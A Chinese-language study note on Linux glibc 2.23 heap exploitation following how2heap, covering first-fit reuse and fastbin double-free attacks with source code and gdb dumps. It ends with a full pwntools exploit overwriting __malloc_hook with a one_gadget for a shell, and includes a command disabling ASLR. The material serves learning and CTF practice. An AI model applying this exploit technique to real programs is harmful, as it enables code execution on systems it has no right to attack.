How2Heap堆利用学习笔记(一)

概述:对Linux下堆利用的学习记录,学习顺序大体是按照shellphish团队的how2heap的流程,尽量每个方面都调试的详尽一些,并结合案例进行分析。

环境准备

使用的是Ubuntu16.04,自带的glibc版本如下


$ file /lib/x86_64-linux-gnu/libc-2.23.so 

/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped

官方的github

https://github.com/shellphish/how2heap

$ git clone https://github.com/shellphish/how2heap.git

某些利用技术在2.25以上的gilbc上会失效,只能在glibc_2.25以下实现的技术也已经被分类放在对应文件夹下了,所以ubuntu16.04是一个比较合适的实验环境。

如果系统不符合,也可以自己编译合适版本glibc然后修改系统链接库的环境变量。

$ ls

calc_tcache_idx    first_fit    glibc_build.sh      malloc_playground

calc_tcache_idx.c  first_fit.c  glibc_ChangeLog.md  malloc_playground.c

fastbin_dup        glibc_2.25   glibc_run.sh        README.md

fastbin_dup.c      glibc_2.26   Makefile

进入目录进行$make,所有源代码都被编译成功。

查看MakeFile,都是使用本地的glibc进行的编译。

还可以手动添加参数CFLAGS += -fsanitize=address用于检测内存错误,个人感觉是类似win下pageheap的机制,用于更准确定位错误内存地址。

MakeFile


BASE = fastbin_dup malloc_playground first_fit calc_tcache_idx

V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/large_bin_attack glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange

V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit

PROGRAMS = $(BASE) $(V2.25) $(V2.26)

CFLAGS += -std=c99 -g


# Convenience to auto-call mcheck before the first malloc()

#CFLAGS += -lmcheck

all: $(PROGRAMS)
clean:
​    rm -f $(PROGRAMS)

 

1.first_fit

漏洞类型:UAF(但无法利用)

第一题案例我们是无法干预程序行为但,目的是让我们熟悉堆分配机制。

在gdb中使用p main_arena可以看到程序中堆结构的细节。详见glibc源码。

案例源代码://省略了一部分无关输出

#include <stdio.h>

#include <stdlib.h>

#include <string.h>



int main()

{

​    fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.n");

​    char* a = malloc(0x512);

​    char* b = malloc(0x256);

​    char* c;



​    fprintf(stderr, "1st malloc(0x512): %pn", a);

​    fprintf(stderr, "2nd malloc(0x256): %pn", b);

​    fprintf(stderr, "we could continue mallocing here...n");

​    fprintf(stderr, "now let's put a string at a that we can read later "this is A!"n");

​    strcpy(a, "this is A!");

​    fprintf(stderr, "first allocation %p points to %sn", a, a);



​    fprintf(stderr, "Freeing the first one...n");

​    free(a);

​    fprintf(stderr, "So, let's allocate 0x500 bytesn");

​    c = malloc(506);

​    fprintf(stderr, "3rd malloc(0x500): %pn", c);

​    fprintf(stderr, "And put a different string here, "this is C!"n");

​    strcpy(c, "this is C!");

​    fprintf(stderr, "3rd allocation %p points to %sn", c, c);

​    fprintf(stderr, "first allocation %p points to %sn", a, a);

​    fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.n");

}

img

流程分析

首先通过malloc分配两个内存,返回内存指针地址-0x10是chunk块的真正头部。

这两块内存相邻,header之间的距离正好是0x520字节。

gdb-peda$ x/5gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000521 -->chunkA header
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000

gdb-peda$ x/5gx 0x603530-0x10

0x603520:    0x0000000000000000    0x0000000000000261 -->chunkB header
0x603530:    0x0000000000000000    0x0000000000000000
0x603540:    0x0000000000000000

执行strcpy向chunkA写入”this is A!”,从内存指针起始地址写入数据。

gdb-peda$ x/5gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000521
0x603010:    0x2073692073696874    0x0000000000002141
0x603020:    0x0000000000000000

执行free释放chunkA之后,A内存没有被马上回收,而是链接到了unsorted bin中。

gdb-peda$ x/5gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000521 <- chunkA [freed]
0x603010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78 <- fd pointer,bk pointer
0x603020:    0x0000000000000000

查看unsorted bin

gdb-peda$ x/5gx 0x7ffff7dd1b78

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000603780     0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:    0x0000000000603000     0x0000000000603000 ->free chunk list
0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88

重新malloc一块内存chunk_C,发现分配的内存块正是之前被释放的chunk_A内存。

虽然fd和bk指针依然存在,但是size值已经被改变了。

gdb-peda$ x/5gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000211
0x603010:    0x00007ffff7dd1fa8    0x00007ffff7dd1fa8
0x603020:    0x0000000000603000

此时访问unsorted bin,发现此时挂载在unsorted bin是chunk_A分割出来的一部分,因为申请的C空间小于chunk_A,就从A中分配了一部分给C,剩下的部分继续挂载在bins上。

gdb-peda$ x/5gx 0x7ffff7dd1b78

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000603780     0x0000000000603210
0x7ffff7dd1b88 <main_arena+104>:    0x0000000000603210     0x0000000000603210 <-unsorted bins

0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88
gdb-peda$ x/5gx 0x603210
0x603210:    0x0000000000000000    0x0000000000000311 
0x603220:    0x00007ffff7dd1b78    0x00007ffff7dd1b78

执行strcpy向chunk_C写入”this is C!”,内存中也找到了对象的字符串ASCII码。

gdb-peda$ x/5gx 0x603010-0x10
0x603000:    0x0000000000000000    0x0000000000000211
0x603010:    0x2073692073696874    0x00007ffff7002143
0x603020:    0x0000000000603000

此时的A指针仍然是存在的,所以可能会存在UAF漏洞,这个漏洞之前在分析IE漏洞的时候也分析过,就不再赘述了。

 

2.fastbin_dup_into_stack

漏洞类型fastbin_attack

背景知识:

Fast bins 主要是用于提高小内存的分配效率,使用单链表进行链接,默认情况下,对于 SIZE_SZ 为 4B 的平台, 小于 64B 的 chunk 分配请求,对于 SIZE_SZ 为 8B 的平台,小于 128B 的 chunk 分配请求,首先会查找 fast bins 中是否有所需大小的 chunk 存在(精确匹配),如果存在,就直接返回。

简介:这个漏洞是我之前与堆溢出相识的第一道题,很不靠谱的以为这是UAF漏洞(当时概念不清)。Fastbin_attack主要是通过修改fd指针,伪造一个fake_chunk,实现对任意地址写。

源代码

#include <stdio.h>
#include <stdlib.h>


int main()
{

​    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc inton"

​           "returning a pointer to a controlled location (in this case, the stack).n");


​    unsigned long long stack_var;

​    fprintf(stderr, "The address we want malloc() to return is %p.n", 8+(char *)&stack_var);
​    fprintf(stderr, "Allocating 3 buffers.n");

​    int *a = malloc(8);
​    int *b = malloc(8);
​    int *c = malloc(8);

​    fprintf(stderr, "1st malloc(8): %pn", a);
​    fprintf(stderr, "2nd malloc(8): %pn", b);
​    fprintf(stderr, "3rd malloc(8): %pn", c);
​    fprintf(stderr, "Freeing the first one...n");

​    free(a);
​    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.n", a, a);
​    // free(a);
​    fprintf(stderr, "So, instead, we'll free %p.n", b);
​    free(b);

​    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.n", a);
​    free(a);
​    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
​        "We'll now carry out our attack by modifying data at %p.n", a, b, a, a);
​    unsigned long long *d = malloc(8);

​    fprintf(stderr, "1st malloc(8): %pn", d);
​    fprintf(stderr, "2nd malloc(8): %pn", malloc(8));
​    fprintf(stderr, "Now the free list has [ %p ].n", a);
​    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.n"

​        "so now we are writing a fake free size (in this case, 0x20) to the stack,n"
​        "so that malloc will think there is a free chunk there and agree ton"
​        "return a pointer to it.n", a);
​    stack_var = 0x20;

​    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.n", a);
​    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

​    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free listn", malloc(8));
​    fprintf(stderr, "4th malloc(8): %pn", malloc(8));

}

流程分析

首先分配了三个大小相同的内存空间,分配内存大小为0x20(必为8的整数倍,并且最小为32字节)折柳使用gef插件,可以比较好的调试heap

gef➤  x/20gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000021 <- chunk_A

0x603010:    0x0000000000000000    0x0000000000000000

0x603020:    0x0000000000000000    0x0000000000000021 <-chunk_B

0x603030:    0x0000000000000000    0x0000000000000000

0x603040:    0x0000000000000000    0x0000000000000021 <-chunk_C

0x603050:    0x0000000000000000    0x0000000000000000

0x603060:    0x0000000000000000    0x0000000000020fa1 <-Top_chunk

0x603070:    0x0000000000000000    0x0000000000000000

第一次free内存a,查看内存本身并没有变化。因为fast bins是一个单链表,此时查看fast bins就能看到链表头。

gef➤  x/20gx 0x603010-0x10
0x603000:    0x0000000000000000    0x0000000000000021
0x603010:    0x0000000000000000    0x0000000000000000

gef➤  heap bin fast

─────[ Fastbins for arena 0x7ffff7dd1b20 ]────
Fastbin[0]  →   UsedChunk(addr=0x603010,size=0x20)  
Fastbin[1] 0x00
Fastbin[2] 0x00

第二次free b内存,因为如果fast bins链表头存放的是a的地址,那就无法再次释放a了。

此时fashbins链表已经将b内存插入到了链表头。

gef➤  x/20gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000021
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000021
0x603030:    0x0000000000603000    0x0000000000000000
0x603040:    0x0000000000000000    0x0000000000000021

Fastbin[0]  →   UsedChunk(addr=0x603030,size=0x20)   →   UsedChunk(addr=0x603010,size=0x20)

再次free a内存,此时fastbin形成了一个回路。此时完成一次double free操作,之后无论如何申请空间多少次,0x603010这个地址一直都在fastbin这个表中。这样便能完成对Free_Chunk的修改(对fd指针的修改)

Fastbin[0]  →   UsedChunk(addr=0x603010,size=0x20)   →   UsedChunk(addr=0x603030,size=0x20)   →UsedChunk(addr=0x603010,size=0x20) [无限循环略]

此时执行到unsigned long long *d = malloc(8)

再次将chunk_A原所在内存分配给了d

接下来再分配一次

聪明的读者到这里应该看得出,如果再分配几十次,也只会一直分配这两个地址。目前指针d已经指向了free_chunk_A(0x189e010)所以我们也就能修改其内容。

1st malloc(8): 0x189e010

2nd malloc(8): 0x189e030

Now the free list has [ 0x189e010 ].

利用手法

接下里的步骤是整个攻击的关键,取stack_var-8的地址,写入d覆盖FD指针。

即伪造了一个fake_chunk(为绕过size检查,size的位置必须为0x20或0x21)

stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

反汇编代码如下

   0x000000000040091a <+628>:    lea    rax,[rbp-0x30]
   0x000000000040091e <+632>:    sub    rax,0x8
   0x0000000000400922 <+636>:    mov    rdx,rax
   0x0000000000400925 <+639>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400929 <+643>:    mov    QWORD PTR [rax],rdx

伪造了一个Free chunk,查看内存,与我们的模拟图一致。


+----------------------+----------------------+    <----- chunk_d的FD ptr

|                              |                      |

|     prev_size           |      size(0x20)    |

|                               |                      |

+----------------------+----------------------+    

|                                                      |

|                   Unused                         |

|                                                      |

+----------------------+----------------------+
gef➤  x/20gx 0x603010-0x10

0x603000:    0x0000000000000000    0x0000000000000021

0x603010:    0x00007fffffffddc8    0x0000000000000000

0x603020:    0x0000000000000000    0x0000000000000021

到目前为止,已经完成了对fastbin_attack

Fastbin[0]  →   UsedChunk(addr=0x603010,size=0x20)   →   FreeChunk(addr=0x7fffffffddd8,size=0x20)   →   FreeChunk(addr=0x603020,size=0x0)
gef➤  x/20gx 0x7fffffffddd8-0x10
0x7fffffffddc8:    0x000000000040095c    0x0000000000000020
0x7fffffffddd8:    0x0000000000603010    0x0000000000603030
0x7fffffffdde8:    0x0000000000603050    0x0000000000603010

继续申请内存,此时分配掉了链表头的chunk,此时我们写入指向”任意”地址的freechunk终于排到了链表头部。

3rd malloc(8): 0x189e010, putting the stack address on the free list

Fastbin[0]  →   FreeChunk(addr=0x7fffffffddd8,size=0x20)   →   FreeChunk(addr=0x603020,size=0x0)

继续申请内存,成功malloc了一块内存到任意地址(有条件),此时如果程序拥有对内存的读写操作,就能完成一次任意地址读写的操作。

4th malloc(8): 0x7fffffffddd8

纵观全局,这个例子是利用double free,来实现对fd指针的一个修改,实现fastbin_attack任意地址写(本案例的意愿应该是展示将数据写入栈帧)。Double free作为攻击方式可以看作UAF的一个子集,个人觉得这个案例如果是针对fastbin_attack技术,并不是最好的一个案例。因为Double free这个技术真的耀眼到宣兵夺主的地步了,所以下文对其进行修改,使用简单的堆溢出来实现fashbin_attack.

攻击对象比较常见的便是malloc_hook函数(将libc拖入IDA,查看exports即可找到)

利用手法可以参考我之前发在安全客的文章
[因为当时对堆不熟,有很多不严谨的地方]

img

案例分析

首先关闭ASLR,因为malloc_hook函数在libc中,会受到地址随机化的影响

# echo 0 > /proc/sys/kernel/randomize_va_space

程序源码:

#include<stdio.h>

#include<stdlib.h>

int main()

{

​    int *a=malloc(0x60);
​    int *b=malloc(0x60);
​    int *c=malloc(0x60);
​    printf("1st malloc(0x60)->a, addr=%p n",a);
​    printf("2st malloc(0x60)->b, addr=%p n",b);
​    printf("3st malloc(x060)->c, addr=%p n",c);
​    free(c);
​    free(b);
​    printf("free b and c");

​    puts("heap overflow:");
​    read(0,a,0x200);
​    printf("a=%s",a);
​    int *d=malloc(0x60);
​    int *e=malloc(0x60);

​    puts("please write:");
​    read(0,e,0x64);
​    malloc(0x60);

}

通过查看内存可以找到

Malloc_hook偏移35字节,可以构成fake_chunk(size=0x7f)

gef➤  x/20xg 0x7ffff7dd1b10-35

0x7ffff7dd1aed <_IO_wide_data_0+301>:    0xfff7dd0260000000    0x000000000000007f  <--fake_chunk
0x7ffff7dd1afd:    0xfff7a92e20000000    0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f    0x0000000000000000
0x7ffff7dd1b1d:    0x0100000000000000    0x0000000000000000

通过写入chunk_A,覆盖被Free的Chunk_B,修改其FD指针指向malloc_hook-35的fake_chunk

gef➤  heap bin fast

─────[ Fastbins for arena 0x7ffff7dd1b20 ]────
Fastbin[0] 0x00
...: 
Fastbin[5]  →   UsedChunk(addr=0x602080,size=0x70)   →   UsedChunk(addr=0x7ffff7dd1afd,size=0x7c)

接下来两次malloc,第二次malloc的时候,$rax被赋值0x00007ffff7dd1afd,就在malloc_hook-35的位置成了我们的内存空间(指针e)。此时向e写入35以上的字符就能malloc_hook的值。

结合我们获取的one_gadget,程序结尾调用malloc就会自动跳转到one_gadget.

PS:如果实战中的利用手法可以参考我IE漏洞分析UAF的文章,使用栈翻转来执行ROP链,利用原理都是通用的,此处不再赘述。

给出完整利用代码[仅限libc.2.23.so]

from pwn import *


p=process("./fastbins_attack")
gdb.attach(p,"b main")


malloc_hook=0x3c4b10
one_gadget=0x45216 # execve("/bin/sh", rsp+0x30, environ)
base=0x00007ffff7a0d000 #libc-2.23.so


payload1="A"*0x68
payload1+=p64(0x71)
payload1+=p64(malloc_hook+base-35)

print "malloc_hook="+str(malloc_hook)
print "[+]sending payload.."
#p.recvuntil("overflow:")
p.sendline(payload1)


print "[+]sending payload2.."
payload2="A"*(35-16)+p64(one_gadget+base)
p.recvuntil("write:")
p.sendline(payload2)

p.interactive()

覆盖malloc_hook为one_gadget地址

gef➤  x/10gx 0x7ffff7dd1b10
0x7ffff7dd1b10 <__malloc_hook>:    0x00007ffff7a52216    0x000000000000000a

继续运行便返回一个shell

gef➤  n
process 66236 is executing new program: /bin/dash

 

参考文献:

[1]fastbin attack漏洞之__malloc_hook攻击

https://blog.csdn.net/qq_41453285/article/details/99321101

[2]银河实验室.浅析Linux堆溢出之fastbin,https://www.freebuf.com/news/88660.html

[3]华庭(庄明强).《glibc内存管理ptmalloc2源代码分析》2011-4-17

(完)